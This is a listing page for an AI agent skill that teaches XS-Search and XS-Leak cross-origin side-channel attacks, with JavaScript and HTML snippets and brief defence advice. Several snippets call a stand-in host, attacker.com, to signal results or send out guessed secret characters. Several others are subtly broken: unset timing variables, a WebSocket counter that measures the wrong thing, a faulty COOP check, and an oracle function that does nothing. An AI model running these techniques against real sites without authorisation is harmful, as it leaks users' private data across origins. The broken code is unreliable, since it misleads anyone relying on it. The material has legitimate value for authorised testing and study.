# Xs Search Leaks

> Cross-origin information extraction using XS-Search and XS-Leak techniques. Use this skill when analyzing web applications for side-channel vulnerabilities, testing for information leakage through timing attacks, event handlers, performance APIs, or other browser-based leak techniques. Trigger when users mention XS-Search, XS-Leaks, cross-origin leaks, timing attacks, side-channel attacks, or need to extract information from cross-origin resources. Make sure to use this skill whenever the user is doing web pentesting and needs to extract cross-origin information, even if they don't explicitly mention XS-Search.

- Skill: `abelrguezr/xs-search-leaks` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/xs-search-leaks`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/xs-search-leaks/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools, Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/xs-search-leaks

---


# XS-Search/XS-Leaks Skill

A comprehensive guide for extracting cross-origin information using side-channel vulnerabilities.

## Quick Start

When you need to extract information from a cross-origin resource, follow this workflow:

1. **Identify the target** - What information do you need to extract?
2. **Choose an inclusion method** - How will you load the target resource?
3. **Select a leak technique** - What observable difference can you measure?
4. **Execute and measure** - Run the attack and analyze results
5. **Iterate** - Refine based on what you learn

## Core Concepts

### Attack Components

| Component | Description |
|-----------|-------------|
| **Vulnerable Web** | Target website from which information is extracted |
| **Attacker's Web** | Malicious site hosting the exploit |
| **Inclusion Method** | Technique to incorporate target into attacker's page |
| **Leak Technique** | Method to discern state differences |
| **States** | Two conditions the attacker aims to distinguish |
| **Detectable Differences** | Observable variations used for inference |

### Detectable Differences

- **Status Code** - HTTP response codes (2xx, 4xx, 5xx)
- **API Usage** - Whether specific Web APIs are used
- **Redirects** - Navigation to different pages
- **Page Content** - Response body variations, embedded frame counts, image sizes
- **HTTP Headers** - X-Frame-Options, Content-Disposition, CORP, etc.
- **Timing** - Time disparities between states

## Inclusion Methods

### HTML Elements

Use HTML elements for cross-origin resource inclusion:

```html
<!-- Stylesheets -->
<link rel="stylesheet" href="https://target.com/style.css">

<!-- Images -->
<img src="https://target.com/image.png">

<!-- Scripts -->
<script src="https://target.com/script.js"></script>

<!-- Audio/Video -->
<audio src="https://target.com/audio.mp3"></audio>
<video src="https://target.com/video.mp4"></video>
```

See [HTTPLeaks](https://github.com/cure53/HTTPLeaks) for a complete list of elements.

### Frames

Embed HTML resources directly:

```html
<!-- Basic iframe -->
<iframe src="https://target.com/page.html"></iframe>

<!-- With sandbox (restricts JS execution) -->
<iframe src="https://target.com/page.html" sandbox></iframe>

<!-- Object element -->
<object data="https://target.com/page.html"></object>

<!-- Embed element -->
<embed src="https://target.com/page.html">
```

If the page lacks framing protection, access via `contentWindow`:

```javascript
const iframe = document.querySelector('iframe');
const targetWindow = iframe.contentWindow;
```

### Pop-ups

Open resources in new windows:

```javascript
// Basic window.open
const popup = window.open('https://target.com/page.html');

// Access window handle for interaction
if (popup && !popup.closed) {
  // Can interact following SOP
}
```

**Note:** Modern browsers restrict pop-up creation to user actions.

### JavaScript Requests

Direct requests with precise control:

```javascript
// Fetch API
fetch('https://target.com/resource', {
  method: 'GET',
  mode: 'no-cors',
  redirect: 'manual'
});

// XMLHttpRequest
const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://target.com/resource');
xhr.send();
```

## Leak Techniques

### Event Handler Techniques

#### Onload/Onerror

Detect resource loading success or failure:

```javascript
// Script tag example
const script = document.createElement('script');
script.onload = () => console.log('Loaded successfully');
script.onerror = () => console.log('Failed to load');
script.src = 'https://target.com/resource.js';
document.head.appendChild(script);

// Image tag example
const img = new Image();
img.onload = () => console.log('Image loaded');
img.onerror = () => console.log('Image failed');
img.src = 'https://target.com/image.png';
```

**Script-less version:**

```html
<object data="https://target.com/404">
  <object data="https://attacker.com/?error"></object>
</object>
```

If target returns 404, the nested object loads.

#### Onload Timing

Measure request duration:

```javascript
const startTime = performance.now();
const img = new Image();
img.onload = () => {
  const duration = performance.now() - startTime;
  console.log(`Load time: ${duration}ms`);
};
img.src = 'https://target.com/resource.png';
```

#### Unload/Beforeunload Timing

Measure fetch duration using unload events:

```javascript
const iframe = document.createElement('iframe');
iframe.src = 'https://target.com/page.html';

let beforeUnloadTime, unloadTime;

iframe.onload = () => {
  const duration = unloadTime - beforeUnloadTime;
  console.log(`Fetch duration: ${duration}ms`);
};

document.body.appendChild(iframe);
```

#### #ID + Error + Onload

Extract information without timing by exploiting hash changes:

```javascript
const iframe = document.createElement('iframe');
let onLoadCount = 0;

iframe.onload = () => {
  onLoadCount++;
  console.log(`Onload triggered ${onLoadCount} times`);
  // If onload triggers again after hash change, page had error
};

iframe.src = 'https://target.com/page.html#try1';
document.body.appendChild(iframe);

// Change hash to test
setTimeout(() => {
  iframe.contentWindow.location.hash = '#try2';
}, 1000);
```

### Global Limits Techniques

#### WebSocket API

Detect WebSocket connections by exhausting limits:

```javascript
let exceptionCount = 0;
const maxWebSockets = 100; // Browser limit varies

for (let i = 0; i < maxWebSockets; i++) {
  try {
    new WebSocket('wss://attacker.com/socket');
  } catch (e) {
    exceptionCount++;
  }
}

console.log(`Target uses ${exceptionCount} WebSocket connections`);
```

#### Payment API

Detect payment request usage:

```javascript
async function checkPaymentAPI() {
  try {
    const payment = new PaymentRequest([]);
    await payment.show();
    payment.abort();
    return false; // No payment active
  } catch (e) {
    return true; // Payment API in use by target
  }
}
```

#### Event Loop Timing

Measure execution time via event loop delays:

```javascript
const times = [];
const iterations = 100;

for (let i = 0; i < iterations; i++) {
  const start = performance.now();
  // Dispatch event that will be processed when pool is empty
  setTimeout(() => {
    const end = performance.now();
    times.push(end - start);
  }, 0);
}

// Analyze delays to infer target execution time
```

### Performance API Techniques

#### Error Leak

Detect HTTP errors via missing performance entries:

```javascript
function checkResourceStatus(url) {
  const img = new Image();
  img.src = url;
  
  setTimeout(() => {
    const entries = performance.getEntriesByType('resource');
    const found = entries.find(e => e.name.includes(url));
    
    if (!found) {
      console.log('Resource returned error (no performance entry)');
    } else {
      console.log('Resource loaded successfully');
    }
  }, 1000);
}
```

#### X-Frame Leak

Detect X-Frame-Options header:

```javascript
function checkXFrameOptions(url) {
  const iframe = document.createElement('iframe');
  iframe.src = url;
  
  setTimeout(() => {
    const entries = performance.getEntriesByType('resource');
    const found = entries.find(e => e.name.includes(url));
    
    if (!found) {
      console.log('X-Frame-Options header present (blocked)');
    } else {
      console.log('No X-Frame-Options restriction');
    }
  }, 1000);
}
```

#### Redirect Detection

Detect redirects via performance API:

```javascript
function detectRedirect(url) {
  fetch(url, { redirect: 'manual' }).then(response => {
    if (response.type === 'opaqueredirect') {
      console.log('Redirect detected');
    }
  });
  
  // Alternative: check redirectStart timing
  setTimeout(() => {
    const entries = performance.getEntriesByType('resource');
    entries.forEach(entry => {
      if (entry.redirectStart > 0) {
        console.log('Redirect occurred, start time:', entry.redirectStart);
      }
    });
  }, 1000);
}
```

#### Cache Detection

Check if resource is cached:

```javascript
async function checkCache(url) {
  const start = performance.now();
  await fetch(url, { cache: 'default' });
  const duration = performance.now() - start;
  
  if (duration < 50) {
    console.log('Resource likely cached');
  } else {
    console.log('Resource loaded from network');
  }
}
```

### Readable Attributes Techniques

#### Frame Counting

Count iframes to detect page state:

```javascript
function countFrames(iframe) {
  return iframe.contentWindow.length;
}

// Monitor for changes
setInterval(() => {
  const count = countFrames(iframe);
  console.log(`Frame count: ${count}`);
}, 1000);
```

#### History Length

Detect navigation via history length:

```javascript
const initialLength = history.length;

// Navigate to target
window.open('https://target.com/page.html');

setTimeout(() => {
  const newLength = history.length;
  if (newLength > initialLength) {
    console.log('Navigation occurred');
  }
}, 1000);
```

#### COOP Detection

Detect Cross-Origin Opener Policy:

```javascript
const popup = window.open('https://target.com/page.html');

if (popup.opener === undefined) {
  console.log('COOP header present');
} else {
  console.log('No COOP restriction');
}
```

#### Media Dimensions

Extract media information:

```javascript
// Image dimensions
const img = new Image();
img.src = 'https://target.com/image.png';
img.onload = () => {
  console.log(`Image: ${img.width}x${img.height}`);
};

// Video dimensions
const video = document.createElement('video');
video.src = 'https://target.com/video.mp4';
video.onloadedmetadata = () => {
  console.log(`Video: ${video.videoWidth}x${video.videoHeight}`);
  console.log(`Duration: ${video.duration}s`);
};
```

### Error Message Techniques

#### CORS Error

Extract redirect URLs from CORS errors:

```javascript
fetch('https://target.com/redirect', {
  mode: 'cors'
}).catch(error => {
  // Error message may contain redirect URL
  console.log('CORS error:', error.message);
});
```

#### Media Error

Detect status codes via media errors:

```javascript
const audio = document.createElement('audio');
audio.src = 'https://target.com/resource.mp3';

audio.onerror = () => {
  const error = audio.error;
  const message = error.message;
  
  if (message.includes('DEMUXER_ERROR_COULD_NOT_OPEN') ||
      message.includes('Failed to init decoder')) {
    console.log('Resource loaded successfully (2xx)');
  } else {
    console.log('Resource failed to load');
  }
};
```

## Advanced Techniques

### Connection Pool Timing

Exploit socket limits for timing attacks:

```javascript
async function connectionPoolAttack(targetUrl) {
  const socketLimit = 256;
  const holdRequests = [];
  
  // Occupy 255 sockets
  for (let i = 0; i < socketLimit - 1; i++) {
    holdRequests.push(
      fetch(`https://hold-${i}.attacker.com/hold`, {
        cache: 'no-store'
      })
    );
  }
  
  // Load target on 256th socket
  const targetStart = performance.now();
  await fetch(targetUrl);
  const targetDuration = performance.now() - targetStart;
  
  // 257th request will queue until socket frees
  const queueStart = performance.now();
  await fetch('https://queue.attacker.com/release');
  const queueDuration = performance.now() - queueStart;
  
  console.log(`Target load time: ${targetDuration}ms`);
  console.log(`Queue wait time: ${queueDuration}ms`);
}
```

### CSS Property Leak

Detect styling changes:

```javascript
function checkCSSProperty(url, selector, property) {
  const link = document.createElement('link');
  link.rel = 'stylesheet';
  link.href = url;
  document.head.appendChild(link);
  
  setTimeout(() => {
    const element = document.querySelector(selector);
    if (element) {
      const style = window.getComputedStyle(element);
      const value = style.getPropertyValue(property);
      console.log(`${property}: ${value}`);
    }
  }, 1000);
}
```

### Image Lazy Loading Oracle

Exfiltrate content character by character:

```javascript
function lazyLoadOracle(secretPrefix, charToTest) {
  const junk = 'W'.repeat(10000); // Fill viewport
  const testString = secretPrefix + charToTest;
  
  const html = `
    <div style="height: 2000px">${junk}</div>
    <img src="https://attacker.com/oracle?char=${charToTest}" 
         loading="lazy" 
         id="oracle-img">
    <div>${testString}</div>
  `;
  
  // If image loads, char is correct (visible in viewport)
  // If not loaded, char is wrong (below viewport)
}
```

## Defense Recommendations

### Server-Side Protections

1. **Set proper headers:**
   ```
   X-Frame-Options: DENY
   Content-Security-Policy: frame-ancestors 'none'
   Cross-Origin-Opener-Policy: same-origin
   Cross-Origin-Embedder-Policy: require-corp
   ```

2. **Implement CORS correctly:**
   ```
   Access-Control-Allow-Origin: https://trusted-domain.com
   # Never use * with credentials
   ```

3. **Use CORP headers:**
   ```
   Cross-Origin-Resource-Policy: same-origin
   ```

### Client-Side Protections

1. **Validate and sanitize all inputs**
2. **Implement proper error handling** (don't leak information in errors)
3. **Use Subresource Integrity (SRI)** for external resources
4. **Implement rate limiting** to prevent timing attacks
5. **Monitor for unusual request patterns**

## Testing Checklist

When testing for XS-Leaks:

- [ ] Test with different inclusion methods (iframe, window.open, fetch)
- [ ] Check for timing differences between states
- [ ] Verify event handlers (onload, onerror) trigger correctly
- [ ] Test Performance API for resource entries
- [ ] Check for readable attributes (frame count, history length)
- [ ] Test error message information disclosure
- [ ] Verify CORS and CORP header behavior
- [ ] Test with different browsers (behavior varies)

## References

- [XSinator Paper](https://xsinator.com/paper.pdf)
- [XSLeaks.dev Documentation](https://xsleaks.dev/)
- [XSLeaks GitHub](https://github.com/xsleaks/xsleaks)
- [XSinator Tool](https://xsinator.com/)
- [HTTPLeaks](https://github.com/cure53/HTTPLeaks)

## Important Notes

- **Browser behavior varies** - Test across multiple browsers
- **Timing attacks are noisy** - Run multiple iterations and average results
- **Modern browsers are improving** - Some techniques may not work in latest versions
- **Ethical use only** - Only test systems you have authorization to assess
- **Document findings** - Record which techniques worked for future reference

